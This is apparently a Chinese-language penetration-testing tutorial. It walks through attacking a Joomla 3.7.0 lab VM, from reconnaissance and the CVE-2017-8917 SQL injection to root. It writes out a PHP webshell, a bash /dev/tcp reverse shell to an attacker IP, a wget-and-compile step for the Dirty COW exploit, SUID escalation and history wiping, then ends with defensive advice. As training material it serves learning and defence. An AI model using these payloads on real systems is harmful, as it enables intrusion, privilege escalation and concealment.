Joomla 3.7.0渗透测试实战:从SQL注入到Root提权完整复现

发布时间:2026/7/21 14:29:06
Joomla 3.7.0渗透测试实战:从SQL注入到Root提权完整复现 1. 项目概述与核心目标最近在整理一些老版本CMS的渗透测试案例Joomla 3.7.0这个版本可以说是一个经典的“教学案例”。它本身并不算一个特别复杂的靶场但其中蕴含的漏洞链条非常典型从最基础的信息收集到利用公开漏洞获取Webshell再到最终在服务器上实现本地提权完整地走一遍对于理解渗透测试的基本流程和思路非常有帮助。很多新手朋友可能对“渗透测试”这个词感到既神秘又畏惧觉得需要掌握无数高深技巧。其实不然一次成功的渗透往往依赖于扎实的基础、清晰的思路和对细节的敏锐观察。这次我就带大家手把手复现针对Joomla 3.7.0的完整渗透流程目标很明确从外部一无所知开始最终拿到服务器的最高权限root。整个过程我会尽量拆解得细致把每个步骤背后的“为什么”讲清楚而不仅仅是给出命令。你会发现很多看似高级的操作其内核逻辑都是相通的。2. 环境搭建与目标确认2.1 靶机环境准备首先我们需要一个“靶子”。为了完全模拟真实环境我建议在虚拟机中搭建。你可以使用VirtualBox或VMware。靶机我选择的是Metasploitable 3的Ubuntu版本这是一个故意设计存在大量漏洞的练习环境。当然你也可以手动在一台干净的Ubuntu 16.04/18.04 LTS服务器上安装Joomla 3.7.0。手动安装的步骤大致是安装LAMP栈Linux, Apache, MySQL, PHP然后从Joomla官网下载3.7.0版本解压到Apache的Web根目录如/var/www/html接着通过浏览器访问完成数据库配置等安装向导。注意强烈建议在隔离的虚拟网络Host-Only或NAT网络中进行所有操作确保你的实验环境不会影响到真实的网络和设备。这是安全研究和学习的首要原则。安装完成后访问你的靶机IP应该能看到Joomla的默认首页。记下这个IP地址这就是我们本次测试的目标。假设靶机IP为192.168.1.100。2.2 攻击机环境配置攻击机我使用的是Kali Linux这是渗透测试领域最流行的发行版集成了大量我们需要的工具。如果你没有Kali也可以在任何Linux系统上安装后续提到的独立工具。确保攻击机和靶机在同一个网络段能够互相ping通。在开始之前我们需要一个清晰的思路。渗透测试不是盲目地丢工具而是有步骤、有策略的信息收集和分析过程。通用的流程可以概括为信息收集 - 漏洞扫描与分析 - 漏洞利用 - 权限提升 - 维持访问 - 清理痕迹。本次复现我们将重点关注前四个阶段。3. 第一阶段全方位信息收集信息收集是渗透测试的基石决定了后续所有动作的效率和成功率。我们的目标是尽可能多地绘制出目标的“数字画像”。3.1 基础网络信息收集首先使用nmap进行端口扫描了解目标开放了哪些服务。nmap -sS -sV -O -p- 192.168.1.100-sS: TCP SYN扫描一种半开放扫描相对隐蔽。-sV: 探测服务版本。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。扫描结果可能如下PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) 3306/tcp open mysql MySQL 5.7.19从结果可知目标开放了SSH22、HTTP80和MySQL3306端口。Web服务器是Apache 2.4.18运行在Ubuntu上。MySQL端口开放但通常不允许远程root连接不过为我们后续提权提供了潜在路径。3.2 Web应用深度指纹识别接下来聚焦80端口的Web服务。目录与文件枚举使用gobuster或dirb寻找隐藏的目录、备份文件、配置文件等。gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,txt,bak,old,zip这个命令会尝试用常见字典爆破网站目录并检查.php,.txt等扩展名。你可能会发现/administrator后台、/images、/templates等Joomla标准目录甚至可能找到config.bak、database.sql等敏感备份文件。CMS与版本识别访问网站首页查看页面源代码。Joomla通常会在HTML注释或Meta标签中留下版本信息。例如查找类似meta namegenerator contentJoomla! - Open Source Content Management /的标签有时版本号就在其中。更直接的方法是访问/administrator/manifests/files/joomla.xml或查看/language/en-GB/en-GB.xml等文件这些文件里通常包含确切的版本号。确认目标是Joomla 3.7.0。技术栈识别使用whatweb或浏览器插件如Wappalyzer快速识别技术栈。whatweb http://192.168.1.100这会输出服务器类型、PHP版本、使用的JavaScript库等信息。例如可能显示PHP/5.6.30。知道PHP版本对后续漏洞利用至关重要。3.3 漏洞情报搜集知道是Joomla 3.7.0后就要针对性地搜索漏洞。Joomla 3.7.0最著名的漏洞是“SQL注入漏洞CVE-2017-8917”。这个漏洞存在于com_fields组件中允许未经认证的攻击者通过特制的HTTP请求执行SQL注入。我们可以通过搜索引擎、Exploit-DB、NVD等漏洞库查找详细信息。在Kali中可以直接使用searchsploitsearchsploit joomla 3.7.0这会列出Exploit-DB中相关的漏洞利用代码。你会发现一个名为42033.txt的文件这就是CVE-2017-8917的SQL注入利用脚本Python。实操心得信息收集阶段一定要耐心和细致。一个不起眼的robots.txt文件可能暴露后台路径一个看似无害的phpinfo.php文件会泄露服务器绝对路径、PHP配置等关键信息。把这些信息都记录在一个文档里构建你的“目标信息板”。4. 第二阶段漏洞利用与Webshell获取4.1 利用SQL注入漏洞我们找到的42033.txt是一个Python脚本。查看其内容理解其原理。该漏洞的利用点在于/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]这个URL参数。list[fullordering]参数存在SQL注入。我们可以手动验证也可以直接使用脚本。为了理解过程我们先手动验证访问http://192.168.1.100/index.php?optioncom_fieldsviewfieldslayoutmodallist[fullordering]updatexml(0x23,concat(1,user()),1)。如果页面返回了包含数据库用户名的XPATH错误信息则证明漏洞存在。直接使用Python脚本可以更方便地提取数据。脚本通常需要指定目标URL。运行前可能需要安装requests库。python 42033.py http://192.168.1.100脚本会交互式地让你选择要执行的操作比如枚举数据库、表、列最终目标是获取jos_users表中的管理员用户名和密码哈希。Joomla的密码哈希是bcrypt格式形如$2y$10$...。直接破解这种哈希在短时间内非常困难。因此我们的思路不是破解密码而是利用SQL注入的“写文件”功能向服务器写入一个Webshell。4.2 写入WebshellMySQL数据库在特定条件下需要FILE权限且知道Web目录的绝对路径可以利用SELECT ... INTO OUTFILE语句将查询结果写入服务器文件。如果我们可以控制写入的内容就能写入一个PHP Webshell。首先我们需要获取网站的绝对路径。路径信息可能通过之前的错误信息泄露或者通过枚举常见的Joomla安装路径猜测如/var/www/html。我们假设路径是/var/www/html。然后构造SQL语句写入一个简单的PHP文件。由于漏洞点在order by子句附近我们需要使用子查询或联合查询来执行写文件操作。利用脚本通常已经集成了这个功能。它会要求你输入Web路径然后生成一个包含Webshell的SQL语句并执行。写入的Webshell可能是一个简单的命令执行脚本内容如下保存为shell.php?php system($_GET[‘cmd’]); ?通过漏洞将这个文件写入到/var/www/html/images/shell.phpimages目录通常有写权限。注意事项现代MySQL的secure_file_priv配置可能会限制写文件操作。如果该值为NULL则禁止写文件如果为特定目录则只能写入该目录。如果写文件失败需要尝试其他提权或利用方式。4.3 验证与连接Webshell写入成功后访问http://192.168.1.100/images/shell.php?cmdid。 如果页面返回了uid33(www-data) gid33(www-data) groups33(www-data)这样的信息恭喜你你已经成功在Web服务器上以www-data用户的身份执行了命令拿到了一个Webshell。此时我们可以尝试用这个Webshell建立一个更稳定的反向Shell连接。5. 第三阶段权限提升与内网渗透获得一个Webshellwww-data权限只是第一步这个权限通常很低。我们的目标是root。5.1 建立反向Shell在Webshell中执行命令交互性很差。我们建立一个反向Shell让靶机主动连接到我们攻击机的监听端口。在攻击机Kali上使用netcat监听一个端口nc -lvnp 4444在Webshell中执行反向Shell命令。有多种方式这里用最常用的bash方式http://192.168.1.100/images/shell.php?cmdbash -c bash -i /dev/tcp/192.168.1.50/4444 01假设攻击机IP是192.168.1.50如果成功你会在Kali的nc终端看到靶机的Shell提示符。现在你有了一个交互式的www-data权限的Shell。5.2 系统内部信息收集在拿到Shell后首先进行内部信息收集为提权做准备# 查看当前用户和权限 id whoami # 查看系统版本和内核信息 uname -a cat /etc/os-release # 查看安装了哪些可能有漏洞的软件 dpkg -l | grep -E (kernel|php|mysql|apache|sudo) # 查找具有SUID权限的特殊文件提权重点 find / -perm -us -type f 2/dev/null # 查看计划任务 crontab -l ls -la /etc/cron* # 查看网络连接和监听端口 netstat -antup # 查看进程寻找以root运行的服务 ps aux | grep root5.3 本地提权实战提权方法很多取决于系统配置。针对这个老旧的Ubuntu靶机基于Metasploitable 3有几个经典的突破口利用内核漏洞使用uname -a查看内核版本。例如如果是Linux 4.4.0-21-generic可能对应Ubuntu 16.04。搜索该版本内核的公开漏洞如“Dirty COW”CVE-2016-5195。在Kali上可以找到对应的本地提权EXP如/usr/share/exploitdb/exploits/linux/local/40616.c。将其上传到靶机编译执行。# 在攻击机将EXP复制到Web目录用靶机Webshell下载 # 或者在反向Shell里用wget从攻击机下载 wget http://192.168.1.50:8000/40616.c -O /tmp/dirty.c gcc /tmp/dirty.c -o /tmp/dirty -pthread chmod x /tmp/dirty /tmp/dirty如果EXP成功你会获得一个root权限的Shell。利用SUID程序之前find命令可能发现了/usr/bin/find、/usr/bin/vim等程序具有SUID权限。如果/usr/bin/find有SUID可以这样提权/usr/bin/find . -exec /bin/bash -p \;如果/bin/bash有-p参数它会保留有效UID从而获得root shell。利用环境变量劫持如果发现以root权限运行的服务或脚本调用了相对路径的命令如service、systemctl并且当前用户有权写入该命令所在的目录可以通过写入恶意程序进行提权。MySQL UDF提权如果MySQL以root身份运行在老旧系统中常见并且我们通过某种方式获得了MySQL的root密码可能从Joomla配置文件configuration.php中找到可以利用MySQL用户自定义函数UDF执行系统命令。首先在configuration.php中查找数据库密码然后登录MySQLmysql -u root -p输入密码后可以尝试执行系统命令\! bash或者创建UDF过程较复杂需要上传.so文件。实操心得提权是一个试错的过程没有一成不变的方法。核心思路是“信息收集 - 寻找特权差异 - 利用”。LinPEAS或LinEnum是Linux下强大的自动化提权脚本可以上传到靶机运行它能快速识别常见的提权路径非常适合新手。在Metasploitable 3中通常内核漏洞是最直接有效的。6. 第四阶段后渗透与总结6.1 巩固访问与清理获得root权限后为了后续研究或证明漏洞存在有时需要巩固访问权限但本次实验以学习为主不建议在非授权环境中这么做。例如可以创建一个新的具有root权限的后门用户或者安装一个隐蔽的持久化后门。实验结束后务必清理痕迹删除上传的Webshell文件、编译的EXP文件等。rm -f /var/www/html/images/shell.php rm -f /tmp/dirty /tmp/dirty.c history -c清除命令历史记录。6.2 常见问题与排查技巧实录在整个过程中你可能会遇到各种问题。这里记录一些常见坑点SQL注入写文件失败可能原因MySQL的secure_file_priv设置限制。排查在获得Webshell后尝试查看MySQL配置文件/etc/mysql/my.cnf或通过MySQL命令SHOW VARIABLES LIKE ‘secure_file_priv’;查看。绕过如果值为NULL写文件路径可能被堵死。可以尝试利用注入点进行数据泄露或者寻找其他漏洞点如文件上传。反向Shell连接不上可能原因靶机出站防火墙限制、命令语法错误、攻击机IP/端口错误。排查首先在攻击机用tcpdump监听网卡看是否有来自靶机的SYN包确认请求是否发出。检查Webshell中的命令确保IP和端口正确且命令中的引号、特殊字符被正确传递。可以尝试使用其他反向Shell payload如Python、PHP、Perl版本。内核EXP编译失败或执行无效可能原因GCC未安装、内核版本不匹配、EXP代码不适应目标环境。排查which gcc检查编译器。uname -r精确核对内核版本号去Exploit-DB查找对应版本的确切EXP。有些EXP需要根据目标环境微调参数。找不到Web绝对路径可能原因错误信息被关闭非标准安装。排查通过Webshell执行find / -name “configuration.php” 2/dev/nullJoomla的配置文件通常包含绝对路径线索。或者在Webshell中执行pwd看当前脚本的工作目录。提权脚本被安全软件拦截可能原因靶机安装了HIDS或文件监控。绕过尝试对EXP代码进行混淆、编码或者使用内存执行的方式如通过python -c直接执行代码片段避免写入磁盘。6.3 流程梳理与防御建议我们来回顾一下完整的攻击链条信息收集(Nmap, Gobuster, WhatWeb) - 发现Joomla 3.7.0。漏洞利用(Searchsploit找到CVE-2017-8917) - 利用SQL注入。初始访问(通过SQL注入写Webshell) - 获得www-data权限的Webshell。权限提升(系统信息收集发现内核漏洞或SUID程序) - 利用Dirty COW等EXP获得root权限。从防御角度看每一个环节都可以加强信息泄露关闭不必要的服务器签名如Apache的ServerTokens Prod移除注释中的版本信息定期清理备份文件。漏洞层面及时更新这是最重要的。Joomla 3.7.0的漏洞早在2017年就修复了升级到最新版本即可免疫。同时使用WAFWeb应用防火墙可以拦截大量的自动化攻击和SQL注入尝试。权限层面遵循最小权限原则。Web服务如www-data不应该有对Web目录以外的写权限。数据库用户只授予必要权限禁止FILE权限。定期更新操作系统和软件内核。系统加固禁用不必要的服务使用强密码配置严格的防火墙安装入侵检测系统。定期进行安全审计和漏洞扫描。走完Joomla 3.7.0的整个渗透流程你会发现技术本身或许会过时但渗透测试的思维模式——主动发现、链式思考、由外到内、由浅入深——是永远有价值的。它不仅仅是“攻击”更是理解系统脆弱性、构建更健壮防御的最佳实践。对于想入门安全的朋友从这样一个有清晰路径的靶机开始亲手实现每一个步骤远比只看理论要印象深刻得多。下次你可以尝试更复杂的靶机或者在没有公开EXP的情况下自己去分析代码、挖掘漏洞那将是另一个层次的挑战和乐趣。